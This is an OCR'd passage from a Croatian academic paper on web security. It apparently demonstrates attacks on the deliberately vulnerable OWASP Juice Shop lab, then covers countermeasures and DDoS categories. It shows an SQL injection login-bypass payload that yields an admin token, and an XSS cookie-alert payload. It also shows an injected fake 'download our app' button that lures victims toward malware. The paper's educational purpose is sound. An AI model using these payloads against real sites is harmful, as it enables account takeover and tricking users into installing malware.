[*] ending § 21:43:33 /2023-06-04/

Slika 16. Rezultat izvodenja sqlmap naredbe za pronalazak ranjivostina SQL ubrizgavanje
Slika 16. prikazuje informacije koje je sqlmap pronaSao. To¢no izdanje SQLite-a je 3.41.1, a
navedena informacija je dosta korisna jer se moze to¢no istraziti koje ranjivosti ima navedeno
izdanje i kako ih iskoristiti. Dohvacéeni podatci su zabiljezeni u tekstualnu datoteku koja se nalazi
na putanji /root/.local/share/sqlmap/output/localhost. Idu¢i korak je promjena putanje pomocu

naredbe cd, te ispisivanje sadrzaja direktorija pomocu Is naredbe.

~

cd /root/.local/share/sqlmap/output/localhost

~/../share/sqlmap/output/localhost
ls

log session.sqlite target.txt

~/../share/sqlmap/output/localhost

cat log

Slika 17. Promjena direktorija te ispisivanje sadrzaja datoteke srezultatima
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Slika 17. prikazuje potrebne korake za dolazak do tekstualne datoteke s podatcima koje je sqlmap

zabiljezio. Nakon navedenih koraka potrebno je ispisati sadrzaj datoteke pomocu naredbe cat.

sqlmap identified the following injection point(s) with a total of 573 HTTP(s) requests:

Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: email=testggmail.com’' OR NOT 7643=7643-- Qrdc&password=test

back-end DBMS: active fingerprint: SQLite 3
banner: '3.41.1°

Slika 18. Informacije o pronadenoj ranjivosti
Slika 18. prikazuje sadrzaj tekstualne datoteke iz kojeg se mogu vidjeti informacije o ranjivosti na
SQL ubrizgavanje. Ranjivi parametar je polje za upis elektroni¢ke poste, tip SQL ubrizgavanja je
slijepo, tocnije logicko, a sam naslov govori na kojim SQL naredbama se temelji napad. Payload
oznaCava zlonamjerne podatke za ubrizgavanje kako bi se izvrSio napad. ToCan izraz za
ubrizgavanje je ' OR NOT 7643=7643--, sqlmap je prikazao kompletan payload koji je koriSten za
testiranje. Dio izraza prije znaka ' i nakon --, ne ¢ini nikakvu razliku za SQL ubrizgavanje, stoga
je izostavljen. lako ovaj payload tehnicki nije to¢an, sqlmap ga i dalje pokazuje. Kada se navedeni
posalje, aplikacija vrati HTTP kod pogreske 401, $to znac¢i da SQL ubrizgavanje nije bilo uspjesno.
Sqglmap pokazuje ovaj payload jer je na temelju odgovora aplikacije na njega, zakljucio da je
aplikacija ranjiva na logi¢ko SQL ubrizgavanje, te je za dolazak do to¢nog rjeSenja potrebno
provjeriti dokumentaciju. To¢an payload je * OR NOT 7643=7644--, te nakon unosa istoga prijava

je uspjesna, iako valjani podatci za prijavu nisu uneseni.

Request  Response
Method | Header: Text ~ | Body: Text ~ | | |E) = @0 EEm send

POST http://localhost:30@0@/rest/user/login HTTP/1.1

Host: localhost:3000

User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=@.5

Content-Type: application/json

Content-Length: 51

Origin: http://localhost:3000

Connection: keep-alive

Referer: http://localhost:300@/

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss;

{ :*' OR NOT 7643=-7643--", :"test"}

Slika 19. Slanje zahtjeva spravilnim payload-om
Slika 20. prikazuje poslani POST zahtjev za prijavu, kada se u parametar elektronicke poste unese

pravilni payload. Polje lozinke nije bitno.
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Request  Response

Header: Text ~ | Body: Text ~ | [ [] Send @

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self’

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

{ o :
"ey)0eXAi0iJKVIQiLCIhbGci0iJSUZTINI 9. ey )ZzdGFOAXMi01JzdWN]ZXNZTiwiZGF@YST6ey JpZ CT6MSWidXN1cmShbWUiOiTiLCI1bWFpbCTI6IMFkbWIuQGplaWNILX
MoLmowIiwicGFzc3dvemQioiIwMTkyMDIzYTdiYmQ3MzIIMDUxXNmYwWN]1kZjE4YjUWMCISIn)vbGUi0iJhZG1pbiTIsImR1bHV4ZVRva2VuljoiliwibGFzdExvZ21usXAiol
IiLCJwcm9maWx1SW1hZ2Ui0iJhe3N1dHMycHYibGLljL21tYWdlcy91cGxvYWRZL2ZR1ZmF1bHRBZG1pbiSwbmcil CJ@b3RWUZVicmV@IjoiliwiaXNBY3RpdmUiOnRydWUsIm
NyZWF@ZWRBACI6I j IwMjMEMDY tMDQgMTKEM) cONTUUODY2ICSWMDOWMC IS InVwZGFOZWRBACI6I j IwMjMEtMDY tMDQgMTkEMj c6NTUUODY2ICswMDoWMCIs ImR1bGY@ZWRBAC
I6bnVsbH@sImlhdCIGMTY4ANTkwOTELOX® . ON1eMAUNXopwugE@SACWTA7K-6VsjcPdIMZVLIPDD6AQGIGhkU4cj55GK5RM2H ] e56k_BRRCEKIK-QTrféngTPC4kHI6BPYVBST
TXTeV35sKkT4_To-1k_2ycTjiTpwl3plLd3V62iA6vaPYilOWhHk-g_uUMuGNMuRfDUREaDoSY", 1, :"admin@juice-sh.op”}}

Slika 20. Odgovor na poslani zahtjev spravilnim payload-om
Takoder se moze vidjeti odgovor posluzitelja, u kojemu je vraden token za autentifikaciju te
elektronicka posta korisnika, koja ovom slucaju pripada administratoru. Ovakav odgovor oznacava
uspjesno odraden napad. Sqlmap je dosta koristan alat prilikom testiranja aplikacija na ranjivost
SQL ubrizgavanjem jer moze uvelike ubrzati postupak automatizacijom odredenih koraka.
Takoder moze pronaci vrlo bitne informacije o bazi podataka koje mogu biti od velike koristi za

daljnje istrazivanje.
3.2.3. Protumjere i strategije za zastitu

Postoji dosta protumjera koje se mogu poduzeti kako bi se smanjile moguc¢nosti SQL ubrizgavanja
ili minimizirale posljedice ako dode do istoga. U nastavku su opisane protumijere za spre¢avanje
najces¢ih oblika SQL ubrizgavanja te njihov nacin primjene. KoriStenje pripremljenin SQL upita
s mogucnos¢u dinami¢kog spajanja varijabli, $to se jo§ moze re¢i 1 SQL upiti s parametrima je
alternativni nacin izrade SQL naredbi u odnosu na dinamic¢ku izgradnju niza znakova, koja
predstavlja jednu od najces¢ih ranjivosti na SQL ubrizgavanje. Parametri za SQL upit se upisuju
unutar rezerviranih mjesta za iste, ili dinamickim spajanjem varijabli za razliku od izravnog
uvrstavanja korisnickog unosa u SQL izraz. Kod ovakvog pristupa se prvo definira SQL naredba
te se naknadno prosljeduju parametri, tako da baza podataka moze jasno razlikovati SQL kod od
podataka. U ovom slu¢aju, napada¢ ne moZe promijeniti namjeru SQL upita, cak i1 ako ubrizga
SQL naredbe, kao §to je prikazano u proslom poglavlju. Ovakav pristup je takoder jako ucinkovit
jer baza podataka mozZe optimizirati SQL upit na temelju prethodno pripremljenog izraza, §to
ubrzava performanse naknadnih upita. KoriStenje pripremljenih SQL upita je takoder puno
jednostavnije za implementaciju i razumijevanje za razliku od dinamicke izgradnje niza znakova
[27].
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SqlDataAdapter command = new SqlDataAdapter("SELECT * FROM Users WHERE userID = @userID", connection);
SQLParameter parameter = command.SelectCommand.Parameters.Add("@userID", SqlDbType.UniqueIdentifier);
parameter.Value = Guid.NewGuid();

Slika 21. Pripremljeni SQL upit u C# programskom jeziku
Slika 21. prikazuje koristenje pripremljenog SQL upitau C# programskog jeziku te se jasno moze
vidjeti na koji nac¢in se dinamicki spajaju varijable. Koristenje pohranjenih procedura ako se
pravilno implementira ima istu razinu sigurnosti i zastite od SQL ubrizgavanja kao i koristenje
pripremljenih SQL upita. Razlika izmedu pripremljenih SQL upita i pohranjenih procedura, je da
se SQL programski kod za pohranjene procedure definira i sprema u bazi podataka, a zatim poziva
iz aplikacije. Kod ovakvog pristupa se mora obratiti pozornost da pohranjene procedure ne
ukljucuju bilo kakvo nesigurno generiranje dinami¢kog SQL koda. Dinamicki SQL je slican
dinamickoj izgradnji niza znakova, kod njega se SQL upit izraduje i izvrSava na temelju
korisnickih parametara unosa, $to je dosta ranjivo na SQL ubrizgavanje. AKko se dinamicki SQL
ne moze izbjeéi, potrebno je implementirati detaljne provjere za podatke unosa korisnika ili
koristiti dinamicko spajanje varijabli [30]. KoriStenje pripremljenih SQL upita i pohranjenih
procedura je dosta u¢inkovit nacin za obranu od SQL ubrizgavanja. Oba nacina nisu teska za

implementaciju, a otporni su na trivijalne pokusaje SQL ubrizgavanja [30].

CREATE PROCEDURE GetUserByUsername
@username VARCHAR(5@)

AS
BEGIN
SET NOCOUNT ON;

SELECT *
FROM users
WHERE username = @username;

Slika 22. SQL pohranjenaprocedura
Slika 22. prikazuje nacin izrade SQL pohranjene procedure. Razni dijelovi SQL upita ne
podrzavaju koristenje dinamic¢kog spajanja varijabli, poput imena tablica ili stupaca, i klju¢ne rijeci
zasortiranje podataka, ASC i DESC. U ovakvim situacijama, najbolji pristup je provjera valjanosti
podataka unosa. Kao §to je spomenuto u prijaSnjem 4.1. poglavlju, najbolji pristup za provjeru
valjanosti podataka unosa je izrada bijelog popisa, to¢nije popisa koji sadrzi informacije o tome
kakav unos je dopusten i valjan. To moze ukljucivati provjeru sukladnosti s o¢ekivanim tipom
podataka, duljinom ili veli¢inom, rasponom ili bilo kojim drugim standardom formatiranja prije
prihvacanja unosa za daljnju obradu. Na primjer, provjera vrijednosti broja kreditne kartice moze

ukljucivati provjeru sadrzi li vrijednost samo brojeve, sadrzi li izmedu 13 i 16 znamenki 1 prolazi
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li provjeru ispravnosti koriste¢i Luhn-ov algoritam. Jos jedna Cesta metoda za provjeru valjanosti
unosa je koriStenje regularnih izraza, koji predstavljaju uzorak s kojim se unos mora podudarati.
Drugi pristup je koriStenje crnog popisa, popis koji sadrzi informacije o tome kakav unos nije
dopusten. Navedeni se popis uglavnom sastoji od sadrzaja za koji je ve¢ utvrdeno da je
zlonamjeran, poput razli¢itih znakova ili uzoraka. Ovakav pristup je uglavnom dosta losiji od
bijelog popisa jer lista moze biti dosta velika i zahtjevna za azuriranje, a provjera spora. Provjera
putem bijelog popisa takoder ima svojih nedostataka, poput toga da u nekim situacijama moze
previdjeti ili pogresno odrediti koji podatciunosa bi trebali biti valjani. Bez obzira na nedostatke,
bijeli popis je bolji izbor u vecini slu¢ajeva. Postoji jo§ nekoliko strategija koja mogu biti korisne
u obrani od SQL ubrizgavanja. Poput koristenja apstraktnih slojeva u aplikaciji, na primjer sloj za
pristup podatcima koji osigurava da su svi pozivi na bazu obavljeni koriStenjem pripremljenih
SQL upita [27]. Navedeno je jako ucinkovito jer se svi podatci detaljno pregledaju prije slanja. U
ovom slu¢aju se moze koristiti i ORM (engl. object relational mapping) alat. ORMalat predstavlja
dodatanssloj izmedu programskog kodai baze podataka, te uvelike olak$ava pisanje kodaotpornog
na SQL ubrizgavanje.

3.3. Ubrizgavanje skripti preko stranica

3.3.1. Opis i tehnike napada

Ubrizgavanje skripti preko stranica (engl. cross-site scripting) ili XSS spada u napade
ubrizgavanja, u kojemu se zlonamjerne skripte ubrizgavaju u inace pouzdane i sigurne Internet
stranice. U XSS napadu, napadaé iskoriStava ranjivost unutar Internet stranice za slanje
zlonamjernog koda, opéenito u obliku skripte, drugom krajnjem korisniku. Preglednik krajnjeg
korisnika ili Zrtve ni na koji nacin ne moze provjeriti sadrzi li skripta zlonamjerni kod, te ¢u ju
uvijek izvrsiti. PosSto skripta dolazi iz provjerenog izvora, ista ima mogucnost pristupa svim
kolaci¢ima, tokenima sesije ili bilo kojim drugim osjetljivim informacijama koje preglednik
pohranjuje i koristi za pravilan rad stranice. Ranjivost koja omogucuje XSS je prili¢no rasirena, a
pojavljuje se unutar Internet aplikacija koje koriste podatke unosa korisnika za prikazivanje
sadrzaja na stranici bez prethodne provjere ili Sifriranja unosa [31]. XSS zlonamjerne skripte se
uglavnom, ali ne i uvijek, piSu u JavaScript-u, te se ne izvrSavaju na posluzitelju. Mogu se pisati
u bilo kojem jeziku za skripte (engl. scripting language), ali se naj¢esc¢e piSu u JavaScript-u, jer je
isti pretezan jezik za izradu skripti na Internet stranicama. Kod XSS napada krajnji korisnik je
meta, a ne posluzitelj stranice. Prema [32] postoje tri razli¢ita nacina za izvodenje XSS napada,

stoga se i Klasificira u tri kategorije:
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o reflektirani ili odbijeni (engl. reflected)
e pohranjeni (engl. stored)
¢ temeljen na DOM-u (engl. DOM-based)

Reflektirani XSS se odnosi na napade gdje se ubrizgana skripta reflektira, to¢nije automatski vraca
kao rezultat na stranici bez obrade na posluzitelju, u obliku poruke pogreske, rezultata
pretrazivanja, ili u bilo kojem drugom obliku odgovora koji djelomicno ili cjelovito sadrzi podatke
unosa. Pocetni vektor ove vrste napadaje slanje zlonamjernog linka meti putem elektronicke poste,
postavljanjem istoga na drugu stranicu ili slanje bilo kojim drugim oblikom komunikacije. Kada
korisnik pritisne na zlonamjerni link, posluzitelju se salje zahtjev, ali posto zahtjev sadrzi skriptu
koja nije pohranjena i ne obraduje se na posluZitelju, isti samo reflektira ili vraca skriptu u obliku
odgovora na zahtjev. Preglednik korisnika izvrSava tu skriptu jer je ista dosla s pouzdanog
posluzitelja. Ova kategorija napada se odvija kroz jedan ciklus zahtjeva i odgovora [31].

2. user's clicks the link Victim's Browser
Script -
Executor
—>
1. Craft
5. Error message Malicious URL
with malicious script 6. User's Cookie
Y
4. Not Found \
error ;
3. search for
requested object
web Attacker

application

Datab

Trusted Domain Attacker's domain

Slika 23. Graf reflektirajuc¢eg XSS napada[32]
Slika 23. prikazuje graf reflektiranog XSS napada, jasno moze zasto se zove reflektirani te na koji

nacin napada¢ moze doc¢ido osjetljivih informacija korisnika.

Pohranjeni XSS napadi definiraju kategoriju napada gdje se ubrizgane skripte trajno pohranjuju

na ciljanim posluziteljima. Pohranjena skripta se vra¢a kao odgovor korisniku kada isti zatrazi
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pohranjene informacije. Zlonamjerne skripte se mogu ubrizgati putem komentara na objavama,
korisnickog imena, podataka za kontakt korisnika ili putem bilo kojeg drugog nacina za unos
podataka. Skripta se izvrsava samo kada dode do preglednika krajnjeg korisnika, ni na koji nacin
ne utjeCe na rad posluzitelja. Smatra se najopasnijim oblikom XSS napada jer se skripta samo

jednom ubrizgava, a moze utjecati na brojne korisnike [32].

5. Login &

Victim's Browser

6. Cookie
Script executor

7. Request to
access web

application 10. User Cookie

9. Response with
message

\
1. Register: Alice
<

8. Read malicious
message

2. ID: Alice_id

web —_ P | Attacker
application

3. Post malicious message

\x/ (Message : XYZ)
1
Z/

Database

4. Store message (XY Attacker's Domain

Trusted Domain

Slika 24. Graf pohranjenog XSS napada [32]

Slika 24. prikazuje graf pohranjenog XSS napada, na kojoj se vidi zasto je isti najopasniji oblik
XSS napada. Napadac objavljuje samo jednu poruku sa zlonamjernim sadrzajem, koja se sprema
na posluzitelju te pri svakom zahtjevu korisnika za pristup stranici, napadacu se $alju korisnikovi
kolaciéi.

XSS napad temeljen na DOM-u (engl. Document Object Model) je napad u kojemu je izvrSavanje
zlonamjerne skripte rezultat izmjene DOM okruZenja krajnjeg korisnika. Document Object Model
(DOM) je programsko sucelje za Internet dokumente. Predstavlja stranicu tako da programi mogu

promijeniti strukturu dokumenta, stil i sadrzaj. DOM predstavlja dokument kao ¢vorove i objekte,

putem kojih programski jezici mogu komunicirati sa stranicom [33]. Pocetni vektor napada je isti
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kao i kod reflektiranog, korisnik treba pritisnuti na zlonamjerni link. Izgled stranice ostaje isti, ali
se programski kod sadrZzan unutar stranice na strani korisnika drugacije izvrSava zbog
zlonamjernih promjena u DOM okruzenju [31]. Cijeli napad se odvija u Internet pregledniku, za
razliku od ostalih kategorija gdje se zlonamjerna skripta Salje putem odgovora posluzitelja na
zahtjev korisnika. DOM svojstva poput document.location, document.URL, document.referrer,
location.search, location.hash i mnoga druga se mogu iskoristiti za provedbu napada jer se ta
svojstva koriste za pristup i izmjenu HTML elemenata stranice. Ovaj napad je iznimno tezak za

otkrivanje jer zahtijeva detaljnu i pazljivu analizu DOM okruzenja i izvornog koda na strani
korisnika [32].

3.3.2. Provedba i analiza posljedica napada

Pronalazak XSS ranjivosti unutar aplikacije zapocCinje proucavanjem potencijalnih ranjivih
elemenata. Kao $to je objasnjeno u prethodnompoglavlju, potencijalni ranjivi elementi su oni gdje
korisnik moze unijeti podatke. OWASP Juice Shop je Internet trgovina stoga je traka za
pretrazivanje prvi izbor za pronalazak bilo kakvih ranjivosti, a posebno ranjivosti na XSS napade.

Prvo je potrebno provijeriti koristi li aplikacija podatke unosa korisnika za prikazivanje sadrzaja
na stranici.

'J OWASP Juice Shop

Search Results - test

Slika 25. Prikaz podataka pretraZivanja na stranici
Slika 26. prikazuje na koji nain aplikacija prikazuje podatke unesene u traku pretrazivanja na
stranici. Ovakav nacin upravljanja podatcima unosa predstavlja mogucnost XSS napada ako se
podatci unosa ne provjeravaju dovoljno. Idudi korak je pokusaj ubrizgavanja skripte. Skripta je
<iframe src="javascript:alert(document.cookie)">, a ovakav napad spada u kategoriju XSS

napada temeljnim na DOM-u.
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C o A O A localhost

= 4§ OWASP Juice Shop

@ localhost:3000

language=en; welcomebanner_status=dismiss;
cookieconsent_status=dismiss;
token=eyJ0eXAIiOIJKVIQILCIhbGciOiJSUzITNI9.ey)zdGFOdXMiOiJzdW
NjZXNzliwiZGFOYSI6ey)pZCI6EMSwidXNLcmS5hbWUIOiliLCJIbWFpbCI6I
mFkbWIuQGpT1aWNILXNoLm9OwliwicGFzc3dvemQiOilwMTkyMDIzYTdi
YmQ3MzITMDUXxNmYwNjIkZjE4YjUwMClsInvbGUiOiJhZG1pbilsimRlb
HV4ZVRva2VuljoiliwibGFzdExvZ 2luSXAiOiliLCJwecm9maWxISW1hZ2Ui
OiJhc3NIdHMvcHVibGIjL21tYWdlcy91cGxvYWRzL2RIZmF1bHRBZG1pbi
SwbmciLCJOb3RwU2VjcmVOljoiliwiaXNBY3RpdmUiOnRydWUsImNyZ
WFOZWRBACI6ljlwMjMtMDYtMDggMDY6NTE6MDAUODAWICswMDo
wMClsInVwZGFOZWRBACI6ljlwMjMtMDYtMDggMDYGNTE6MDAUOD
AwICswMDowMClIsImRIbGVOZWRBACI6bnVsbHOsImIhdCIEMTY4N;jix
MjlzOHO0.mBorDKxMbyq9IEBYWruYQHNHZK_ZUWEASycHpkncqyR-
uCYGkaa4fhniEULRCp3RHZyKyvuD2M3n8CFTSf52-
Qfyq0zAb3xzQSTsLMW3QcNvStHWCABVNNIqEQYG-
sopXWUh2TSoFjiEDk7vFP--bavgDGglsBbDKWTflfaYvYM;
continueCode=03V80W7Bkl4yaQrnzYPMRDe5G7otbHrCJfP8Go12bLjE

36wJ9KmpgxNXgZQ

Slika 26. Rezultat ubrizgavanja skripte
Slika 27. prikazuje rezultat ubrizgavanja prethodno navedene skripte. Svrha skripte je ispis
informacija o kola¢i¢ima korisnika. Radi primjera, navedene informacije su ispisane u okvir s
upozorenjem. Kako bi se skripta ubrizgala u DOM, potrebno ju je staviti unutar HTML elementa
iframe. Iako ova skripta samo ispisuje informacije o kola¢i¢ima, ovakav pristup se moze iskoristit i
za puno opasnije stvari, poput prijevare zrtve na instalaciju zlonamjernog softvera. Prvo korak za
takav napad je izrada vjerodostojnog odgovora aplikacije za pretrazivanje odredenog pojma. Kod
nekih Internet stranice postoji moguénost preoptereéenja posluzitelja zbog velikog broja zahtjeva.
Takoder, dosta Internet trgovina ima i svoje aplikacije. Napada¢ moze prevariti korisnika na
preuzimanje zlonamjernog softvera, za koji je korisnik na po¢etku dobiodojam daje vjerodostojna
aplikacija Internet trgovine. Prvi korak je postavljanje zlonamjernog softvera na bilo koju uslugu
koja omogucuje jednostavno preuzimanje kada se posjeti odredeni URL. U svrhu primjera izabran
je Google Drive. Jednostavna implementacija za usmjeravanje na link za preuzimanje
zlonamjernog softvera ostvarena je putem HTML button elementa. Za ovakav tip napada nije
dovoljno samo ubrizgati skriptu koja sadrzi link za preuzimanje zlonamjernog softvera. Potrebno

je ukljuciti 1 drustveni inzenjering kako bi rezultat izgledao $to vjerodostojnije.

Servers are experiencing high load. Download our free app for better performance

<button onclick="window.open('https:
Download here</button>

Slika 27. Zlonamjerna skripta za preuzimanje zlonamjernogsoftvera
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Slika 28. prikazuje zlonamjernu skriptu za ubrizgavanje. Pocetna recenica skripte se prevodi na
sljede¢i nacin. Posluzitelji su pod velikim optere¢enjem. Preuzmite nasu besplatnu aplikaciju za

bolje performanse. Button element sadrzi onclick dogadaj, koji nakon pritiska na gumb usmjerava
korisnika na link sa zlonamjernim softverom.

C @ O D =2 localhost:

. OWASP Juice Shop

Search Results - Servers are experiencing high load. Download our free app for better performance

Slika 28. Rezultat ubrizgavanja zlonamjerne skripte
Rezultat ubrizgavanje skripte sa slike 28. je prikazan na slici 29. Nakon ubrizgavanja stranica
sadrzava gumb koji vodido URL-a za preuzimanje zlonamjernog softvera. Iako se u ovom slu¢aju
nakon pritiska na gumb preuzima obicna tekstualna datoteka, na ovaj nain se moze prevariti
korisnika na preuzimanje puno opasnijih datoteka. Uspjesnost ovakvih XSS napada se uglavnom
svodi na kreativnost napadaca za izradu vjerodostojnog dijela stranice koji sadrzi zlonamjerne

elemente te na snalaZljivo koriStenje drustvenoginzenjeringa kako bi naveo Zrtvu da stisne na link.

3.3.3. Protumjere i strategije za zaStitu

Svaki element unutar Internet aplikacije bi trebao biti zaSti¢en, svi podatci unosa korisnika i sve
varijable bi trebale pro¢i kroz detaljne provjere te bi se sa svim podatcima trebalo paZzljivo i
pravilno upravljati. Ovakva razina sigurnosti predstavlja savrSenu otpornost na napade
ubrizgavanja. Svaka varijabla koja ne prode kroz provjeru je potencijalna prijetnja. Koristenje
razvojnih okvira, kao Sto su Angular, Vue.js i ostali, olakSava pravilno upravljanje i provjeru
varijabli. Razvojni okviri usmjeravaju razvoj Internet aplikacija prema dobrim sigurnosnim
praksama i pomaZzu u obrani od XSS napadaomogucavajuci razne predloske, automatsku provjeru
unosa i slino. Naravno, i tijekom koriStenja razvojnih okvira mogu se javiti problemi zbog nacina
na koji razvojni okvir upravlja podatcima. [z navedenog razloga je nuzno razumjeti kako to¢no
razvojni okvir upravlja podatcima i gdje postoje potencijalne pogreske. Kada takve pogreske dodu
do izrazaja potrebno je poduzeti dodatne mjere zastite. Sifriranje izlaznih rezultata se koristi za
sigurno prikazivanje rezultata u obliku u kojemu ih je korisnik unio. Varijable i kljucne rijeci se
trebaju interpretirati kao obican tekst, a ne kao programski kod. Vecéina razvojnih okvira ima
ugradene opcije za Sifriranje izlaznih podataka, koje je pozeljno koristiti u vecini situacija. U
situacijama kada te opcije nisu dovoljne ili kada se ne koristi razvojni okvir za izradu Internet
aplikacije, potrebno je ukljuciti biblioteku za S$ifriranje izlaznih podataka. Svi podatci unosa bi

trebali pro¢i kroz funkciju za Sifriranje izlaza. Postoji mnogo razli¢itih metoda za Sifriranje izlaza

41



podataka jer preglednici razli¢ito interpretiraju URL, HTML, CSS i JavaScript. Koristenje
pogresne biblioteke ili metode Sifriranja izlaznih podataka moze dovestido sigurnosnih propusta
[34]. U slucaju dodavanja podataka unutar HTML oznaka poput <div>, <b>, <p> i sli¢nih
potrebno je koristiti Sifriranje pomo¢u HTML entiteta. HTML entitet je dio teksta, to jest niz
znakova koji poc¢inje znakom adresnog operatora (&) i zavrsava tockom i zarezom (;). Entiteti se
Cesto koriste za prikaz rezerviranih znakova, Koji bi se inace interpretirali kao HTML kod, i
nevidljivih znakova, poput neprekinutih razmaka. Sifriranje pomoéu HTML entiteta je nuzno kako

bi se pravilno moglo odrediti Sto su HTML oznake, a §to podatci unutar istih.

Znak HTML entitet
& &amp;
< &lt;
> &gt;

" &quot;
&nbsp;
- &ndash;
— &mdash;
€ &euro;
# &num;
= &asymp;
@ &commat;
== &Equal;
B &szlig;

Tablica 3. Primjer znakova injihovih odgovaraju¢ih HTML entiteta [35]
Svaki znak Kkoji se koristi u HTML jeziku, poput znaka manje od ,,<* i znaka vece od ,,>* koji
oznacuju pocetak 1 kraj HTML oznake, ima odgovarajuci entitet za sigurno Sifriranje. Preglednici
interpretiraju entitete kao znakove izlaza (engl. escape characters), i pravilno ih prikazuju kao
odgovarajuci znak. Najvaznije je da ih nece interpretirati kao HTML oznake [36].

<div>
&1lt;script&gt;alert(&quot;Pokusaj XSS napada!&quot;)&1t;/scriptlgt;

</div>

Slika 29. Primjer §ifriranja unosa pomo¢u HTML entiteta
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Slika 28. prikazuje kako se na siguran nacin rukuje s unosom korisnika. Unos je <script>
alert(“Pokusaj XSS napada!*)</script>, §to je jasan pokusaj testiranja ranjivosti na XSS napad.
Sifriranje znakova se odraduje nakon §to preglednik izradi DOM za stranicu, stoga neée izvrsiti
skriptu [36]. Takoder je bitno stavljati varijable unutar dvostrukih ili jednostrukih navodnika jer
navedeno uvelike otezava promjenu sadrzaja kojim varijabla upravlja. Stavljanje varijabli unutar
navodnika umanjuje broj znakova koje je potrebno Sifrirati, Sto €ini aplikaciju pouzdanijom i
olaksava Sifriranje potrebnih podataka [34]. Vrlo bitna i efektivna protumjera je dodavanije
zaglavlja Content-Security-Policy u HTTP odgovor. Content-Security-Policy ili CSP naziv je
zaglavlja HTTP odgovora koje danasnji preglednici koriste za poboljSanje sigurnosti Internet
stranica. CSP zaglavlje omogucuje ogranicavanje koji izvori, kao §to su JavaScript, CSS, razne
slike 1 sli¢no, se mogu ucitavati te URL-ove s kojih se mogu ucitavati. lako se prvenstveno koristi
kao zaglavlje HTTP odgovora, moze se primijeniti i putem HTML meta oznake. CSP je u pocetku
dizajniran kao protumjera za XSS napade, no danasnje verzije takoder imaju mogucnost obrane i

od drugih oblika napada, poput krade klikova i bilo kakvih oblika napada ubrizgavanja [37].

<meta http-equiv="Content-Security-Policy" content="default-src ‘self'">

Slika 30. Primjer postavljanja CSP-a unutarmeta oznake
Meta oznaka se postavlja unutar head oznake. Pravila CSP-a primjenjuju se samo na sadrzaj
pronaden nakon obrade meta oznake, stoga bi meta oznaka uvijek trebala biti pri vrhu dokumenta
ili barem prije dinamicki generiranog sadrzaja. Default-src direktiva oznaCuje zadani izvor za
sadrzaj ako nije definirana nikakva odredena direktiva. U ovom slucaju, postavljena je na self, Sto
znaci da se sadrzaj poput JavaScript-a, CSS-a, fontova, slika i slicno, moze jedino ucitati s istog
izvora, §to je sama Internet stranica, a ne iz bilo kojih drugih vanjskih izvora [37]. CSP moze
uvelike pomoc¢i u obrani od XSS napada, jer ¢e izvrSavati samo skripte poslane od strane odobrenih

domena, a sve ostale ¢e se ignorirati.
3.4. Raspodijeljeno uskraéivanje usluge

3.4.1. Opis i tehnike napada

Napad raspodijeljenog uskracivanja usluge (engl. distributed denial of service) ili DDoS je
promisljen ikoordiniran napad od strane viSe ugroZenih racunalnih sustavau svrhu preopterec¢enja
Internet usluge ili posluzitelja. DDoS je pokusaj napada na dostupnost usluge slanjem iznimno
velike koli¢ine laznih podataka kako bi ciljana usluga ostala bez resursa. DDoS napad je vrsta

napada uskracivanja usluge (engl. denial of service) ili DoS, gdje je razlika u raspodijeljenosti
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izvora napada. U DDoS napadu, zlonamjerni promet se Salje iz viSe distribuiranih izvora, dok u
DoS napadu, postoji samo jedan izvor. U DDoS napadu, promet koji dolazi s jednog izvora nije
dovoljno velik kako bi utjecao na dostupnost usluge, nego je ugrozavanje dostupnosti usluge
rezultat kumulativnog slanja prometa s visSe razli¢itih racunalnih sustava. Napadaci uglavhom
stvaraju mrezu ugrozenih sustava, tako §to ih potajno zaraze zlonamjernim softverom. Nakon
preuzimanja kontrole nad raCunalnim sustavima, napadaci Salju nezeljenu postu, Sire zlonamjerni
softver i napadaju druge sustave iskoriStavanjem resursa ugrozenog sustava. Bilo kakav napad
uskrac¢ivanja usluge predstavlja zna€ajan rizik za poduzece koje primarno posluje na Internetu, jer
samo nekoliko minuta prekida rada usluge moze imati ozbiljne financijske posljedice i znacajan

udar na reputaciju poduzeca [38].

A GET flood, Slow POST,

Application Slowloris, SQL injection,
INVITE flood, Slow read

SYN flood, UDP flood,
Transport DNS query flood, SSL
MiM attack, LAND attack
A Attacker expertise

Smurf attack, Teardrop,
WV Attack resources Network ICMP flood, Ping flood

v End-host resources Generating forged

Data Link frames, Repeated frame
header flood

) Disrupting or breaking
Physmal physical media, Signal
jamming, Backhoe fade

Slika 31. DDoS napadina razli¢itim slojevima mreze [39]
Slika 31. prikazuje koji DDoS napadi se mogu pojaviti na pojedinim slojevima mreze. Postoji
mnogo nacina i tehnika za izvodenje DDoS napada, stoga postoji i dosta klasifikacija istih. Prema

[40] DDoS napadi se klasificiraju na sljedeci nacin:

e napadi usmjereni na mrezne resurse ili napadi poplavljivanja: svrha ovih napada je
iskoriStavanje cijelo ukupne propusnosti (engl. bandwidth) mreZe Zrtve slanjem velikog

broja zahtjeva. Ovi napadi su jednostavni, ali u¢inkoviti. Ova vrsta napada ima nekoliko
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podvrsta, ovisno o tome koji protokol se koristi u napadu. Neki primjeri protokola koji se
mogu Koristiti su UDP (engl. user datagram protocol), ICMP (engl. internet control
message protocol) te IGMP (engl. internet group management protocol)

napadiusmjereni na resurse posluzitelja: ovakvi napadi pokusavaju maksimalno iskoristiti
posluziteljeve resurse za obraduili memoriju. Napada¢ moze iskoristiti postojece ranjivosti
na posluzitelju ili slabosti u komunikacijskom protokolu za preopterecenje posluzitelja.
Jedna od verzija ovog napada se temelji na ranjivosti u TCP/IP protokol. Postoji jo§
nekoliko verzija napada poput TCP SYN poplave, TCP RST napada te TCP PSH+ASK
poplava

niski i spori napadi: za razliku od napada poplavljivanja, niski i spori napadine zahtijevaju
veliku koli¢inu prometa. Ciljaju to¢no odredene ranjivosti na posluzitelju s relativno
malom koli¢inom zlonamjernog prometa. Ova vrsta napada je dosta teska za otkrivanje jer
se povezivanje i prijenos podataka odvija normalnom brzinom. Jedan primjer ovakvog
napada je Sockstress, napad koji iskoriStava ranjivosti u TCP stogu

